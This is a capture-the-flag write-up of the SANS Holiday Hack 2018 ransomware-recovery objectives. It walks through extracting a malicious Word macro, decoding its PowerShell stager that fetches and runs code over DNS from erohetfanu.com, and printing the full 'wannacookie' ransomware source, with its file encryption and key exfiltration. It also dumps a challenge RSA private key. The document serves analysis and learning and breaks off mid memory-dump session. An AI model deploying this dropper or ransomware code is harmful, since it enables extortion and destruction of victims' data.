Kringlecon

Sans Holiday Hack Challenge 2018

Reedphish

Version 1.0, January 5, 2019

Table of Contents

About Reedphish

Reedphish is a Norwegian SOC/MSS Analyst with broad background involving system development, penetration testing, vulnerability management and SIEM anaytics. In his sparetime he can often be caught redhanded with his nose deeply buried in CTF's.

Contact

- Blog: https://reedphish.wordpress.com/
- E-mail: redacted
- Twitter: @reedphish

Objectives

Objective 10: Who Is Behind It All?

Mission

Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers please explain that plan.

In order to open the door with piano lock I had to transpose "Mary Had A Litte Lamb" from one key to another, as hinted at in objective 8:

Table 1. Music notes

What	Notes
Original	ED#ED#EED#EF#G#F#G#ABA#BA#B
Transposed	DC#DC#DDC#DEF#EF#GAG#AG#A

Door opened and inside the locked room was Santa and Hans, and a some soldiers. Talking to Santa gave away the plot and plan:

Answer

Santa came up with a plan on how to defend the North Pole from nasty attackers. He set up a game, Kringlecon, to find an individual with experience within the whole security spectrum. To execute his plan he lured Hans in a trap to play a baddie. Santa even dressed up poor innocent elves in soldiers outfit, forcing them to be baddies also, scaring others elves and whatnots. On the good side, everyone involved is on Santas payroll. Except me.

Completion


KringleCon
Narrative [12 of 12]
Objectives
Hints
Talks
Achievements
[Exit]
◄ GO BACK
1) Orientation Challenge
2) Directory Browsing
3) de Bruijn Sequences
4) Data Repo Analysis
5) AD Privilege Discovery
6) Badge Manipulation
7) HR Incident Response
8) Network Traffic Forensics
9) Ransomware Recovery
10) Who Is Behind It All?
Difficulty:
Who was the mastermind behind the whole KringleCon plan?
And, in your emailed answers please explain that plan.

Objective 9: Ransomware Recovery

Mission

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

Prerequisites

The following challenges are dependent on the following prerequisites:

- Windows 10 Virtual Machine (free)
- OpenSSL for Windows
- Python for Windows
- Power Dump
- Notepad++ Text Editor
- SQLite3
- Olevba

Objective 9.1: Catch the Malware

Mission

Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

Methodology

- Trial and error
- Even more trial and error
- Looked at the dumps
- Trial error
- Looked some more at the dumps and found pattern "707331"

Ended up with this rule:

Answer

```
alert udp any any -> any any ( msg:"DANGER DANGER"; priority:1; sid:9000000; rev:1;
pcre:"/707331/";)
```

Objective 9.2: Identify the Domain

Mission

Using the Word docm file, identify the domain name that the malware communicates with.

Methodology

- Downloaded Windows 10 Enterprise virtual machine from here
- Downloaded CHOCOLATE_CHIP_COOKIE_RECIPE.zip
- Unzipped the archive using password "elves"
- Got document CHOCOLATE_CHIP_COOKIE_RECIPE.docm from Zip
- Installed olevba tool
- Ran the following command

```
olevba.exe .\CHOCOLATE_CHIP_COOKIE_RECIPE.docm
```

Found the following script:

```
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a
IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2V
SwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/A
KIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOK
RucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7
qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKa
MSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionM
ode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
```

- Removed VisualBasic fluff, Powershell options and iex() statements:

```
powershell.exe -ExecutionPolicy Bypass -C "sal a New-Object; (a IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2V
SwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/A
KIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOK
RucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7
qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKa
MSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionM
ode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()|Out-String"
```

- Ran that in Powershell and got:

```
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach
{$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach
($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "
$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com
-Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
```

Answer

Malware was communicating with domain: erohetfanu.com

(77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com)

Objective 9.3: Stop the Malware

Mission

Identify a way to stop the malware in its tracks!

Methodology

Having bits and pieces of the malware from previous, I assembled it in a Powershell script and ran it:

```
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach
{$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach
($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "
$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com
-Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-string))
```

This script spat out a minified representation of the malware.

```
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int
32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.
Cryptography.AesManaged';$AESP.Mode = [
System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize =
$KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File,
[System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File
+ $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream
($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write
([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AE
SP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-
Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV,  0,
3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0
);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-
Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()}
;$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileS
W, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count =
0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do
{$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} Whi
le ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close()
;Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' |
? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};f
unction A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " +
[System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '}
;function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ } | fo
rEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H
{param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1
```

```
){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti
_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if
($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}}
;return $cont};function B2G {param([byte[]]$Data);Process {$out =
 [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream
$out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length)
;$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Proc
ess {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object
System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData,
([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close
();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String]
$String) {$SB = New-Object
System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").Compu
teHash([System.Text.Encoding]::UTF8.GetBy
tes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes,
[byte[]]$pub_bytes){$cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encK
ey = $cert.PublicKey
.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles,
$make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++  ) {while ($true)
{$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if
 ($running.Count -le $tcount) {Start-Job  -ScriptBlock {param($key, $File, $true_false);try{e_d_file
$key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env
:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file],
 $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}}
;function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server
erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h
 += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT)
.Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index
=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($c
hunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks =
(s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-
DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfa
nu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.
$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function
wanc {$S1 = "1f8b0800000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c100
00000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1)))
$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com
-Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(ne
tstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject
Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k =
[System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k =
([System.Text.Encoding]::Unicode.Ge
tBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random
})[0..15] -join ''))  | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k
$p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-
Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude
*.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$(
```

```
$env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:u
serprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d
$b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl =
'http://127.0.0.1:8080/';$html_c = @{'GET /'  =  $(g_o_dns (A2H "source.min.html
"));'GET /close'  =  '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type
-AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep
2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list =
 New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false
;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp =
$context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localp
ath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey =
$Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-
ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannac
ookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html
= "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET
/close') {$close = $true;$html = $html_c[$recvd]} elseif
($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name
("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if (
$c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Re
sp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [
Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;
$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();
return}}} finally {$list
.Stop()}};wanc;
```

I manually cleaned it up for readability (great way to learn what the malwares does!) The cleaned version can be found in Appendix A. As I read the code, I stumbled across the following:

```
$(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com
-Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
```

Answer

Upon execution of this line in the malware script, it reached out to killswitch domain "yippeekiyaa.aaay"

Objective 9.4: Recover Alabaster's Password

Mission

Recover Alabaster's password as found in the the encrypted password vault.

Getting server certificate and key

Reading the malware source code trying to understand, I noticed there were some hashes floating around. Extracted these and put them into a Powershell script to decode them:

decoder.ps1

```
# Step 1: Hunt for keys already present in the source code
$malware_keys = @(
   "6B6579666F72626F746964",
   "6B696C6C737769746368",
   "7365727665722E637274",
   "72616e736f6d697370616964"
)

foreach ($key in $malware_keys) {
   Write-Host "[HEX => ASCII]: " $key " => " $(H2A $key)
}

# Output
[HEX => ASCII]:  6B6579666F72626F746964 => keyforbotid
[HEX => ASCII]:  6B696C6C737769746368 => killswitch
[HEX => ASCII]:  7365727665722E637274 => server.crt
[HEX => ASCII]:  72616e736f6d697370616964  => ransomispaid
```

Knowing what each value decodes to, getting the sercer.crt file:

decoder.ps1

```
# Step 2: Extract "server.crt" file

Write-Host ""
Write-Host "Fetching server.crt"
$servercrt = "-----BEGIN CERTIFICATE-----`n"
$servercrt += $(g_o_dns("7365727665722E637274"))
$servercrt += "`n-----END CERTIFICATE-----"
Write-Output $servercrt |Out-File -filepath "C:\Kringlecon\ELF Forensics\server.crt"
Write-Host $servercrt

# Output omitted
```

Since server.crt exist, maybe server.key also exist? Using A2H to encode the text "server.key" pushing my luck:

decoder.ps1

```
# Step 3: Finding server.key

$serverkeystring = $(A2H "server.key")
Write-Host ""
Write-Host "Fetching server.key"
$serverkey =  $(g_o_dns($serverkeystring))
Write-Output $serverkey |Out-File -filepath "C:\Kringlecon\ELF Forensics\server.key"
Write-Host $serverkey

# Output omitted
```

Investigate certificate and key

Prior to inspecting the certificate and key, they had to be made readable by Windows.

Convert line endings

Using built in function "write" in Windows:

```
write server.crt
write server.key
```

UTF8-encoding without Byte Order Mark (BOM)

Still the files couldn't be used yet - had to remove the Byte Order Mark (BOM). Said files were simply opened in Notepad++, then selecting to convert to UTF8-encoding without the Byte Order Mark set.

Looking at what we got

```
& 'C:\Program Files\OpenSSL-Win64\bin\openssl.exe' x509 -in server.crt -text -noout
```

```
PS C:\Kringlecon\ELF Forensics> & 'C:\Program Files\OpenSSL-Win64\bin\openssl.exe' x509 -in server.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            fe:9e:d7:d7:30:da:c0:a3
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Validity
            Not Before: Aug  3 15:01:07 2018 GMT
            Not After : Aug  3 15:01:07 2019 GMT
        Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c4:88:dc:d9:55:46:d7:09:b3:06:2f:8b:0c:d9:
                    4b:62:95:1e:2c:78:46:65:8b:60:8c:a0:32:7b:de:
                    a1:ea:97:eb:52:a7:0b:4a:f7:2e:0b:eb:39:cb:0c:
                    b5:92:03:ab:af:1f:e9:66:1e:18:5e:a7:db:a2:5b:
                    7b:ef:1d:80:aa:f8:c6:b9:12:58:c1:ae:fc:10:cb:
                    47:b6:0a:bf:ea:78:d0:6b:74:cb:50:b3:d2:a4:c4:
                    c2:40:cf:47:d1:25:85:ef:b5:60:0d:14:91:79:03:
                    e3:6a:8c:8f:a3:74:c5:6d:2f:cf:8f:54:e1:96:a7:
                    53:c0:f0:34:96:ee:2f:bd:78:b9:2a:3d:b3:43:c4:
                    27:c5:84:01:86:94:71:14:f9:c1:f4:09:3a:1b:d1:
                    20:79:1e:4d:12:4c:f5:0a:28:95:5c:dd:fb:03:f3:
                    fb:7a:d3:22:53:84:2c:38:18:a9:11:c0:6f:2f:a9:
                    c4:02:80:01:95:41:e2:cd:60:93:04:16:fd:3e:58:
                    70:2d:d9:6c:63:59:3b:b7:1e:70:1f:30:fb:22:12:
                    79:3f:cb:5d:92:c0:73:82:b5:a3:63:15:1f:06:b7:
                    9d:76:0f:b8:9d:15:55:b8:a7:9b:13:d2:6a:eb:32:
                    26:09:fb:bc:7a:55:e3:08:92:bc:38:b6:4f:f5:66:
                    56:0d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                7D:E3:A0:67:87:FE:93:15:35:FC:13:7F:3E:91:D1:BB:30:58:CD:D1
            X509v3 Authority Key Identifier:
                keyid:7D:E3:A0:67:87:FE:93:15:35:FC:13:7F:3E:91:D1:BB:30:58:CD:D1

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         85:d8:43:1d:0b:d6:f5:0f:85:ae:89:a4:ee:7d:86:d9:e5:e4:
         4c:d5:f5:6f:1c:f6:3d:2d:90:d5:95:b7:f7:76:7c:dd:a0:51:
         59:1b:d0:2a:df:ea:18:20:22:f4:01:e0:f8:d0:7f:17:45:8c:
         65:fb:ae:2e:0c:e2:25:04:c7:41:2f:af:bc:29:f7:6e:2d:47:
         0b:0c:fd:c3:b3:c5:7b:90:99:7a:06:a2:bd:b6:91:0f:48:7b:
         57:d4:47:c1:57:f3:08:64:9d:75:41:06:04:7d:e3:f2:ae:ed:
         86:b2:8e:c4:e9:84:c2:f1:e2:ff:46:ab:fb:4b:2c:70:18:9d:
         78:e1:aa:d7:58:68:4e:7e:f8:23:e8:07:8d:18:5e:ad:1b:d0:
         58:96:f8:01:b7:dd:af:89:14:9c:0b:1d:c6:c9:7b:31:3c:4c:
         d1:fe:2d:e1:c7:56:1f:27:89:50:7d:f2:06:e4:fa:7a:e2:1d:
         f6:b9:fb:19:03:62:eb:51:e3:0a:15:e3:11:fc:da:f2:1a:41:
         0b:83:ae:ac:22:9c:7d:08:95:a1:8f:f4:07:15:dd:c6:04:f2:
         83:08:40:75:69:af:36:b1:cf:a1:0c:81:e5:0f:57:c2:03:7f:
         c1:63:2d:ae:53:d9:7f:2d:c0:5b:db:86:16:3f:ec:80:9b:f8:
         db:17:05:fb
PS C:\Kringlecon\ELF Forensics>
```

& 'C:\Program Files\OpenSSL-Win64\bin\openssl.exe' rsa -text -in server.key

```
PS C:\Kringlecon\ELF Forensics> & 'C:\Program Files\OpenSSL-Win64\bin\openssl.exe' rsa -text -in server.key
RSA Private-Key: (2048 bit, 2 primes)
modulus:
    00:c4:88:dc:d9:55:46:d7:09:b3:06:2f:8b:0c:d9:
    4b:62:95:1e:2c:78:46:65:8b:60:8c:a0:32:7b:de:
    a1:ea:97:eb:52:a7:0b:4a:f7:2e:0b:eb:39:cb:0c:
    b5:92:03:ab:af:1f:e9:66:1e:18:5e:a7:db:a2:5b:
    7b:ef:1d:80:aa:f8:c6:b9:12:58:c1:ae:fc:10:cb:
    47:b6:0a:bf:ea:78:d0:6b:74:cb:50:b3:d2:a4:c4:
    c2:40:cf:47:d1:25:85:ef:b5:60:0d:14:91:79:03:
    e3:6a:8c:8f:a3:74:c5:6d:2f:cf:8f:54:e1:96:a7:
    53:c0:f0:34:96:ee:2f:bd:78:b9:2a:3d:b3:43:c4:
    27:c5:84:01:86:94:71:14:f9:c1:f4:09:3a:1b:d1:
    20:79:1e:4d:12:4c:f5:0a:28:95:5c:dd:fb:03:f3:
    fb:7a:d3:22:53:84:2c:38:18:a9:11:c0:6f:2f:a9:
    c4:02:80:01:95:41:e2:cd:60:93:04:16:fd:3e:58:
    70:2d:d9:6c:63:59:3b:b7:1e:70:1f:30:fb:22:12:
    79:3f:cb:5d:92:c0:73:82:b5:a3:63:15:1f:06:b7:
    9d:76:0f:b8:9d:15:55:b8:a7:9b:13:d2:6a:eb:32:
    26:09:fb:bc:7a:55:e3:08:92:bc:38:b6:4f:f5:66:
    56:0d
publicExponent: 65537 (0x10001)
privateExponent:
    1d:d2:06:70:93:97:e4:18:fc:a8:fb:9d:c5:9d:52:
    ea:ea:65:61:a9:fe:44:7a:19:74:3c:fa:6c:01:23:
    e0:4c:9c:d0:35:b8:68:ef:88:75:16:83:f6:63:3f:
    49:a0:74:f4:65:8b:2c:8b:74:77:28:51:13:19:7e:
    7c:91:a5:6c:4b:c3:1b:61:c5:45:de:1f:31:0d:27:
    1c:60:15:2e:a6:96:39:37:c7:81:bf:47:3e:e8:fb:
    f0:89:83:04:21:05:69:91:c3:b9:38:5d:ba:56:f4:
    b2:be:11:2d:64:12:70:b6:c8:6f:9f:19:7b:9a:78:
    02:d6:6f:a4:57:0f:b7:57:cd:e9:8a:92:ff:2d:22:
    e5:51:05:44:e5:ae:95:d3:1b:10:93:75:c7:ec:5e:
    88:9a:7c:b8:8b:39:2a:82:fd:28:7d:67:8d:97:04:
    81:95:50:a4:b5:f3:ae:c8:ca:af:ae:d4:de:76:0c:
    28:37:a6:1a:31:da:9d:85:64:17:5a:73:bf:fa:da:
    ad:d5:27:4b:c8:7a:ab:a2:46:cb:35:7d:d4:fa:4b:
    13:62:34:2d:8f:ad:1a:8a:4a:9a:e4:d4:cd:53:a6:
    55:fe:ec:97:92:cc:c0:4b:2c:d6:0d:f1:f2:03:a1:
    db:5e:4e:a6:cf:58:f7:38:52:7c:98:73:06:4b:58:
    01
```

Decrypting

The malware source code had an interesting section

ransomware.ps1

```
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) )
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char
]01..[char]255)) + 0..9 | sort {
    Get-Random
})[0..15] -join '')) | ? {
    $_ -ne 0x00
})

$h_k = $(B2H $b_k)
$k_h = $(sh1 $h_k)
$p_k_e_k = (p_k_e $b_k $p_k).ToString()
$c_id = (snd_k $p_k_e_k)
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env
:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:us
erprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where {
    ! $_.PSIsContainer
} | Foreach-Object {
    $_.Fullname
})

e_n_d $b_k $f_c $true
Clear-variable -Name "h_k"
Clear-variable -Name "b_k"
```

By looking at it, its flow is as follows:

- It downloads the public key ("server.crt"), stores it in variable $p_k. Variable name seems to be short for "Public_Key".
- It creates a random key (16-byte, 128 bits), stores it in variable $b_k. Variable name seems to be short for "Byte Key".
- It converts some data in variables $h_k and $k_h, but these appears irrelevant
- It then encrypts the generated key using the downloaded public key and stores that in variable $p_k_e_k. Variable name seems to be short for "Public Key Encrypted Key"
- At the very end of the code above variables $h_k and $b_k is erased/removed from memory (cleared)

Trying to understand it better I wrote a helper in Powershell:

decoder.ps1

```
# Step 4
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) )
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char
]01..[char]255)) + 0..9 | sort {
   Get-Random
})[0..15] -join ''))  | ? {
   $_ -ne 0x00
})

$h_k = $(B2H $b_k)
$k_h = $(sh1 $h_k)
$p_k_e_k = (p_k_e $b_k $p_k).ToString()

Write-Host "H_K value: " $h_k
Write-Host "B_K value: " $b_k
Write-host "P_K_E_K value:"
Write-Host $p_k_e_k
$pkekstr = [string] $p_k_e_k
Write-Host "P_K_E_K size in memory: " $pkekstr.Length
```

Giving me the following output

```
H_K value:  498ee05907cefd0c86dc72dcd7e9062b
B_K value:  73 142 224 89 7 206 253 12 134 220 114 220 215 233 6 43
P_K_E_K value:
93528fc601b26874942e6ad4fa79dc8806a8b96bcac1f5f8fcd2bdcafe122e5a6c0a7761e71156a8
c53b86df0ce31022a36b6b7bca70266fd35e29639bce3a825e1607b879fec2cd3889ab6ca120e43
7173faa93a2bbc7b360dfb11f5caf8040c8cb6cdc8f8536eaa2842ed2decdb0fd7812a4849b9af4e
e9cac167f4f54176558
8929f37e08d85eaff2f6df00149bad89cb4dee9edf901bd58702c0bde5ae72b1ea29ed23ddd179c2
4810d7a2f917766a21522dc3ea826d5c3cb8fb8d83600f4c16b9b290391c28b3111f03aeaa7b562
dde44027128e049ea45a5567f986bd47b88dc4b84453ed46f55c615fca97bea75eb5249d952a213
01be1f38b370ffad
P_K_E_K size in memory:  512
```

I now had to hunt down a chunk from the memory dump reflecting $p_k_e_k's size of 512. Back to Power_Dump carving some more:

```
==============================
 |  __ \
 | |__) |____      _____ _ __
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |
 |_|   \___/ \_/\_/ \___|_|
 __                      __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___))
  _____  _    _ __  __ _____
 |  __ \| |  | |  \/  |  __ \
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/
 | |__| | |__| | |  | | |
 |_____/ \____/|_|  |_|_|
Dumps PowerShell From Memory
==============================
[i] Processed Pickle Memory Dump Found. Load this prior processed memory?
'Y'es or 'N'o? (Yes only if from trusted source)
: y



============ Main Menu ===============
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : True
======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 4

[i] 10947 powershell Variable Values found!
============== Search/Dump PS Variable Values ==================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
================================================================================
: len == 512

================ Filters ================
1| LENGTH  len(variable_values) == 512

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ==================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
